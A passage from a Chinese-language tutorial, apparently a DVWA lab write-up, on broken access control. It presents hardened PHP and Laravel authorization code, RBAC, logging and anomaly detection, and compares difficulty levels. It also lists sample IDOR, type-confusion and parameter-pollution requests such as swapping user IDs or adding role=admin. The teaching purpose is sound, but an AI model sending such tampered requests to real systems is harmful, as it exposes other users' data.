invoke__">logSecurityEvent</span>(<span class="string">&#x27;Unauthorized delete attempt&#x27;</span>, [</span><br><span class="line">            <span class="string">&#x27;user&#x27;</span> =&gt; <span class="variable">$currentUser</span>,</span><br><span class="line">            <span class="string">&#x27;target_user_id&#x27;</span> =&gt; <span class="variable">$deleteUserId</span>,</span><br><span class="line">            <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]</span><br><span class="line">        ]);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行删除...</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成新的CSRF token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>认证检查</strong> - 验证用户是否登录</li><li><strong>CSRF Token</strong> - 防止跨站请求伪造</li><li><strong>角色验证</strong> - 从数据库读取真实角色</li><li><strong>资源所有权</strong> - 验证是否有权访问该资源</li><li><strong>操作权限</strong> - 不同操作有不同的权限要求</li><li><strong>输入验证</strong> - 验证所有输入参数</li><li><strong>PDO预编译</strong> - 防止SQL注入</li><li><strong>输出编码</strong> - htmlspecialchars()防XSS</li><li><strong>审计日志</strong> - 记录所有未授权访问尝试</li><li><strong>严格类型比较</strong> - 使用&#x3D;&#x3D;&#x3D;防止类型混淆</li></ol><p><strong>权限检查流程：</strong></p><figure class="highlight nestedtext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">用户请求访问user_id=2</span><br><span class="line">    ↓</span><br><span class="line">1. 检查是否登录 → 未登录则拒绝</span><br><span class="line">    ↓</span><br><span class="line">2. 验证CSRF Token → 无效则拒绝</span><br><span class="line">    ↓</span><br><span class="line">3. 验证输入参数 → 无效则拒绝</span><br><span class="line">    ↓</span><br><span class="line">4. 查询当前用户角色 → 从数据库</span><br><span class="line">    ↓</span><br><span class="line">5. 检查权限：</span><br><span class="line">   <span class="bullet">-</span> <span class="string">管理员？→ 允许</span></span><br><span class="line">   <span class="bullet">-</span> <span class="string">访问自己？→ 允许</span></span><br><span class="line">   <span class="bullet">-</span> <span class="string">其他？→ 拒绝</span></span><br><span class="line">    ↓</span><br><span class="line">6. 记录访问日志</span><br><span class="line">    ↓</span><br><span class="line">7. 执行操作</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都被阻止：</strong></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">攻击1：?<span class="attribute">id</span>=2（越权访问）</span><br><span class="line">权限检查 → 不是管理员 &amp;&amp; 不是自己 → 拒绝</span><br><span class="line">日志记录 → 记录未授权尝试</span><br><span class="line"></span><br><span class="line">攻击2：伪造Referer</span><br><span class="line">不依赖Referer → 使用CSRF Token → 无效</span><br><span class="line"></span><br><span class="line">攻击3：类型混淆(?<span class="attribute">id</span>=2.0)</span><br><span class="line">强制类型转换 (int)<span class="variable">$userId</span> → 2</span><br><span class="line">严格比较 === → 正确验证</span><br><span class="line"></span><br><span class="line">攻击4：参数污染(?<span class="attribute">id</span>=5&amp;id=2)</span><br><span class="line">只取第一个参数 → 正常处理</span><br><span class="line"></span><br><span class="line">攻击5：会话劫持</span><br><span class="line">即使获取Session，仍需通过权限检查</span><br><span class="line"></span><br><span class="line">攻击6：修改数据库角色</span><br><span class="line">从数据库读取角色 → 如果能修改数据库，已经完全控制系统</span><br></pre></td></tr></table></figure><p><strong>关键防御点：</strong></p><ol><li><strong>基于角色的访问控制（RBAC）</strong> - 明确的角色和权限</li><li><strong>资源所有权验证</strong> - 每次都检查</li><li><strong>最小权限原则</strong> - 只给必要的权限</li><li><strong>审计和监控</strong> - 记录所有访问</li><li><strong>深度防御</strong> - 多层验证</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="架构层面"><a href="#架构层面" class="headerlink" title="架构层面"></a>架构层面</h3><h4 id="1-实施RBAC（基于角色的访问控制）"><a href="#1-实施RBAC（基于角色的访问控制）" class="headerlink" title="1. 实施RBAC（基于角色的访问控制）"></a>1. 实施RBAC（基于角色的访问控制）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 定义角色和权限</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Permission</span> </span>&#123;</span><br><span class="line">    <span class="keyword">const</span> <span class="variable constant_">VIEW_OWN_DATA</span> = <span class="string">&#x27;view_own_data&#x27;</span>;</span><br><span class="line">    <span class="keyword">const</span> <span class="variable constant_">VIEW_ALL_DATA</span> = <span class="string">&#x27;view_all_data&#x27;</span>;</span><br><span class="line">    <span class="keyword">const</span> <span class="variable constant_">MODIFY_OWN_DATA</span> = <span class="string">&#x27;modify_own_data&#x27;</span>;</span><br><span class="line">    <span class="keyword">const</span> <span class="variable constant_">MODIFY_ALL_DATA</span> = <span class="string">&#x27;modify_all_data&#x27;</span>;</span><br><span class="line">    <span class="keyword">const</span> <span class="variable constant_">DELETE_USERS</span> = <span class="string">&#x27;delete_users&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Role</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$permissions</span> = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">addPermission</span>(<span class="params"><span class="variable">$permission</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;permissions[] = <span class="variable">$permission</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">hasPermission</span>(<span class="params"><span class="variable">$permission</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_ invoke__">in_array</span>(<span class="variable">$permission</span>, <span class="variable">$this</span>-&gt;permissions);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义角色</span></span><br><span class="line"><span class="variable">$adminRole</span> = <span class="keyword">new</span> <span class="title class_">Role</span>();</span><br><span class="line"><span class="variable">$adminRole</span>-&gt;<span class="title function_ invoke__">addPermission</span>(<span class="title class_">Permission</span>::<span class="variable constant_">VIEW_ALL_DATA</span>);</span><br><span class="line"><span class="variable">$adminRole</span>-&gt;<span class="title function_ invoke__">addPermission</span>(<span class="title class_">Permission</span>::<span class="variable constant_">MODIFY_ALL_DATA</span>);</span><br><span class="line"><span class="variable">$adminRole</span>-&gt;<span class="title function_ invoke__">addPermission</span>(<span class="title class_">Permission</span>::<span class="variable constant_">DELETE_USERS</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$userRole</span> = <span class="keyword">new</span> <span class="title class_">Role</span>();</span><br><span class="line"><span class="variable">$userRole</span>-&gt;<span class="title function_ invoke__">addPermission</span>(<span class="title class_">Permission</span>::<span class="variable constant_">VIEW_OWN_DATA</span>);</span><br><span class="line"><span class="variable">$userRole</span>-&gt;<span class="title function_ invoke__">addPermission</span>(<span class="title class_">Permission</span>::<span class="variable constant_">MODIFY_OWN_DATA</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查权限</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="variable">$currentRole</span>-&gt;<span class="title function_ invoke__">hasPermission</span>(<span class="title class_">Permission</span>::<span class="variable constant_">VIEW_ALL_DATA</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Access denied&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-集中的权限检查"><a href="#2-集中的权限检查" class="headerlink" title="2. 集中的权限检查"></a>2. 集中的权限检查</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 中间件/拦截器</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">AuthMiddleware</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">checkPermission</span>(<span class="params"><span class="variable">$requiredPermission</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$currentUser</span> = <span class="title function_ invoke__">getCurrentUser</span>();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable">$currentUser</span>) &#123;</span><br><span class="line">            <span class="title function_ invoke__">http_response_code</span>(<span class="number">401</span>);</span><br><span class="line">            <span class="keyword">die</span>(<span class="string">&#x27;Unauthorized&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$role</span> = <span class="title function_ invoke__">getUserRole</span>(<span class="variable">$currentUser</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable">$role</span>-&gt;<span class="title function_ invoke__">hasPermission</span>(<span class="variable">$requiredPermission</span>)) &#123;</span><br><span class="line">            <span class="title function_ invoke__">http_response_code</span>(<span class="number">403</span>);</span><br><span class="line">            <span class="title function_ invoke__">logUnauthorizedAccess</span>(<span class="variable">$currentUser</span>, <span class="variable">$requiredPermission</span>);</span><br><span class="line">            <span class="keyword">die</span>(<span class="string">&#x27;Forbidden&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="title class_">AuthMiddleware</span>::<span class="title function_ invoke__">checkPermission</span>(<span class="title class_">Permission</span>::<span class="variable constant_">DELETE_USERS</span>);</span><br></pre></td></tr></table></figure><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-每个操作都验证权限"><a href="#1-每个操作都验证权限" class="headerlink" title="1. 每个操作都验证权限"></a>1. 每个操作都验证权限</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ❌ 错误：只在前端隐藏按钮</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$role</span> == <span class="string">&#x27;admin&#x27;</span>) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;&lt;button onclick=&quot;deleteUser()&quot;&gt;Delete&lt;/button&gt;&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ✅ 正确：在后端验证</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">deleteUser</span>(<span class="params"><span class="variable">$userId</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">hasPermission</span>(<span class="string">&#x27;delete_users&#x27;</span>)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnauthorizedException</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行删除</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-验证资源所有权"><a href="#2-验证资源所有权" class="headerlink" title="2. 验证资源所有权"></a>2. 验证资源所有权</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 查看用户资料</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">viewProfile</span>(<span class="params"><span class="variable">$userId</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$currentUserId</span> = <span class="title function_ invoke__">getCurrentUserId</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查：是管理员 或 是用户本人</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">isAdmin</span>() &amp;&amp; <span class="variable">$currentUserId</span> !== <span class="variable">$userId</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ForbiddenException</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 查询并返回</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-使用白名单"><a href="#3-使用白名单" class="headerlink" title="3. 使用白名单"></a>3. 使用白名单</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 允许的操作列表</span></span><br><span class="line"><span class="variable">$allowedActions</span> = [<span class="string">&#x27;view&#x27;</span>, <span class="string">&#x27;edit&#x27;</span>, <span class="string">&#x27;delete&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="variable">$action</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;action&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$action</span>, <span class="variable">$allowedActions</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid action&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="4-防止参数篡改"><a href="#4-防止参数篡改" class="headerlink" title="4. 防止参数篡改"></a>4. 防止参数篡改</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ❌ 危险：从用户输入获取角色</span></span><br><span class="line"><span class="variable">$role</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;role&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ✅ 安全：从服务器端Session/数据库获取</span></span><br><span class="line"><span class="variable">$role</span> = <span class="variable">$_SESSION</span>[<span class="string">&#x27;user_role&#x27;</span>];</span><br><span class="line"><span class="comment">// 或</span></span><br><span class="line"><span class="variable">$role</span> = <span class="title function_ invoke__">getUserRoleFromDatabase</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;user_id&#x27;</span>]);</span><br></pre></td></tr></table></figure><h3 id="监控层面"><a href="#监控层面" class="headerlink" title="监控层面"></a>监控层面</h3><h4 id="1-记录所有授权失败"><a href="#1-记录所有授权失败" class="headerlink" title="1. 记录所有授权失败"></a>1. 记录所有授权失败</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">logAuthorizationFailure</span>(<span class="params"><span class="variable">$user</span>, <span class="variable">$action</span>, <span class="variable">$resource</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$log</span> = [</span><br><span class="line">        <span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>),</span><br><span class="line">        <span class="string">&#x27;user&#x27;</span> =&gt; <span class="variable">$user</span>,</span><br><span class="line">        <span class="string">&#x27;action&#x27;</span> =&gt; <span class="variable">$action</span>,</span><br><span class="line">        <span class="string">&#x27;resource&#x27;</span> =&gt; <span class="variable">$resource</span>,</span><br><span class="line">        <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>],</span><br><span class="line">        <span class="string">&#x27;user_agent&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_USER_AGENT&#x27;</span>]</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 写入日志</span></span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>(</span><br><span class="line">        <span class="string">&#x27;/var/log/security/authz_failures.log&#x27;</span>,</span><br><span class="line">        <span class="title function_ invoke__">json_encode</span>(<span class="variable">$log</span>) . <span class="string">&quot;\n&quot;</span>,</span><br><span class="line">        FILE_APPEND</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 如果失败次数过多，触发警报</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">countRecentFailures</span>(<span class="variable">$user</span>) &gt; <span class="number">10</span>) &#123;</span><br><span class="line">        <span class="title function_ invoke__">alertSecurity</span>(<span class="string">&quot;Possible privilege escalation attempt by <span class="subst">$user</span>&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-异常行为检测"><a href="#2-异常行为检测" class="headerlink" title="2. 异常行为检测"></a>2. 异常行为检测</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 检测异常访问模式</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">detectAnomalousAccess</span>(<span class="params"><span class="variable">$userId</span>, <span class="variable">$accessedUserId</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 用户A频繁尝试访问不同用户</span></span><br><span class="line">    <span class="variable">$recentAccesses</span> = <span class="title function_ invoke__">getRecentAccesses</span>(<span class="variable">$userId</span>, <span class="number">3600</span>); <span class="comment">// 过去1小时</span></span><br><span class="line"></span><br><span class="line">    <span class="variable">$uniqueTargets</span> = <span class="title function_ invoke__">array_unique</span>(<span class="variable">$recentAccesses</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">count</span>(<span class="variable">$uniqueTargets</span>) &gt; <span class="number">20</span>) &#123;</span><br><span class="line">        <span class="comment">// 可能在枚举用户</span></span><br><span class="line">        <span class="title function_ invoke__">alertSecurity</span>(<span class="string">&quot;User <span class="subst">$userId</span> is accessing too many different users&quot;</span>);</span><br><span class="line">        <span class="title function_ invoke__">lockAccount</span>(<span class="variable">$userId</span>, <span class="number">3600</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="框架层面"><a href="#框架层面" class="headerlink" title="框架层面"></a>框架层面</h3><h4 id="Laravel示例"><a href="#Laravel示例" class="headerlink" title="Laravel示例"></a>Laravel示例</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 定义策略</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UserPolicy</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">view</span>(<span class="params">User <span class="variable">$currentUser</span>, User <span class="variable">$user</span></span>) </span>&#123;</span><br><span class="line">        <span class="comment">// 管理员可以查看所有用户</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$currentUser</span>-&gt;<span class="title function_ invoke__">isAdmin</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 用户只能查看自己</span></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$currentUser</span>-&gt;id === <span class="variable">$user</span>-&gt;id;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">update</span>(<span class="params">User <span class="variable">$currentUser</span>, User <span class="variable">$user</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$currentUser</span>-&gt;<span class="title function_ invoke__">isAdmin</span>() || <span class="variable">$currentUser</span>-&gt;id === <span class="variable">$user</span>-&gt;id;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">delete</span>(<span class="params">User <span class="variable">$currentUser</span>, User <span class="variable">$user</span></span>) </span>&#123;</span><br><span class="line">        <span class="comment">// 只有管理员可以删除</span></span><br><span class="line">        <span class="comment">// 且不能删除自己</span></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$currentUser</span>-&gt;<span class="title function_ invoke__">isAdmin</span>() &amp;&amp; <span class="variable">$currentUser</span>-&gt;id !== <span class="variable">$user</span>-&gt;id;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 在控制器中使用</span></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">show</span>(<span class="params">User <span class="variable">$user</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">authorize</span>(<span class="string">&#x27;view&#x27;</span>, <span class="variable">$user</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">view</span>(<span class="string">&#x27;users.show&#x27;</span>, <span class="title function_ invoke__">compact</span>(<span class="string">&#x27;user&#x27;</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="使用中间件"><a href="#使用中间件" class="headerlink" title="使用中间件"></a>使用中间件</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 定义中间件</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">AdminMiddleware</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params"><span class="variable">$request</span>, <span class="variable">$next</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_ invoke__">auth</span>()-&gt;<span class="title function_ invoke__">user</span>()-&gt;<span class="title function_ invoke__">isAdmin</span>()) &#123;</span><br><span class="line">            <span class="title function_ invoke__">abort</span>(<span class="number">403</span>, <span class="string">&#x27;Forbidden&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$next</span>(<span class="variable">$request</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 路由中使用</span></span><br><span class="line"><span class="title class_">Route</span>::<span class="title function_ invoke__">middleware</span>([<span class="string">&#x27;auth&#x27;</span>, <span class="string">&#x27;admin&#x27;</span>])-&gt;<span class="title function_ invoke__">group</span>(function () &#123;</span><br><span class="line">    <span class="title class_">Route</span>::<span class="title function_ invoke__">get</span>(<span class="string">&#x27;/admin/users&#x27;</span>, <span class="string">&#x27;AdminController@users&#x27;</span>);</span><br><span class="line">    <span class="title class_">Route</span>::<span class="title function_ invoke__">delete</span>(<span class="string">&#x27;/admin/users/&#123;id&#125;&#x27;</span>, <span class="string">&#x27;AdminController@deleteUser&#x27;</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>认证检查</td><td>✅</td><td>✅</td><td>✅</td><td>✅</td></tr><tr><td>授权检查</td><td>❌</td><td>弱Referer检查</td><td>角色检查</td><td>完善检查</td></tr><tr><td>资源所有权</td><td>❌</td><td>❌</td><td>弱验证</td><td>✅ 严格验证</td></tr><tr><td>CSRF防护</td><td>❌</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>角色管理</td><td>❌</td><td>弱角色检查</td><td>数据库角色</td><td>RBAC</td></tr><tr><td>输入验证</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>审计日志</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>类型安全</td><td>❌</td><td>❌</td><td>&#x3D;&#x3D;</td><td>&#x3D;&#x3D;&#x3D;</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr></tbody></table><hr><h2 id="常见攻击向量"><a href="#常见攻击向量" class="headerlink" title="常见攻击向量"></a>常见攻击向量</h2><h3 id="1-直接对象引用（IDOR）"><a href="#1-直接对象引用（IDOR）" class="headerlink" title="1. 直接对象引用（IDOR）"></a>1. 直接对象引用（IDOR）</h3><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">正常：<span class="regexp">/user/</span>profile?id=<span class="number">123</span>（自己的ID）</span><br><span class="line">攻击：<span class="regexp">/user/</span>profile?id=<span class="number">456</span>（他人的ID）</span><br></pre></td></tr></table></figure><h3 id="2-参数污染"><a href="#2-参数污染" class="headerlink" title="2. 参数污染"></a>2. 参数污染</h3><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/<span class="keyword">admin</span>?<span class="keyword">role</span>=<span class="keyword">admin</span>&amp;user_id=<span class="number">5</span></span><br><span class="line">/api/users/<span class="number">5</span>?<span class="keyword">admin</span>=<span class="keyword">true</span></span><br></pre></td></tr></table></figure><h3 